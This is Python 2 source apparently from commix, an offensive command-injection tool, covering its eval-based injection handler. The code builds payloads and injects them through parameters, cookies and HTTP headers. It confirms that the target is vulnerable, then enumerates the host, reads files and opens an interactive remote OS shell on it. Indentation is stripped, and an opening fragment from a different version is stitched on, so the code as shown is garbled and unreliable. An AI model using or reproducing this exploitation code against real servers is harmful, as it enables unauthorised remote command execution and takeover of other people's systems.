eb_enumeration.do_check(separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter)
# Check for any system file access options.
eb_file_access.do_check(separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter)
# Check if defined single cmd.
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input(
"\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
logs.logs_notification(filename)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
break
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(
separator, TAG, cmd, prefix,
suffix, http_request_method, url,
vuln_parameter)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Command execution results.
shell = eb_injector.injection_results(
response, TAG)
if shell:
shell = "".join(
str(p) for p in shell).replace(
" ", "", 1)[:-1]
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if menu.options.verbose:
sys.stdout.write(
"\r(*) Continue testing the " + technique +
"... ")
sys.stdout.flush()
break
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, timesec, filename, http_request_method):
shell = False
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
if not settings.LOAD_SESSION:
url = eb_injector.warning_detection(url, http_request_method)
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print ""
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
if whitespace == " ":
whitespace = urllib.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.EVAL_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
#payload = payload + TAG + ""
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
if not settings.TAMPER_SCRIPTS['base64encode'] and \
not settings.TAMPER_SCRIPTS['hexencode']:
payload = payload.replace(" ", "%20")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print settings.print_payload(payload)
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = eb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
time.sleep(timesec)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
if not menu.file_access_options() and not menu.options.os_cmd and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print ""
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# The main command injection exploitation.
time.sleep(timesec)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell != "":
shell = "".join(str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()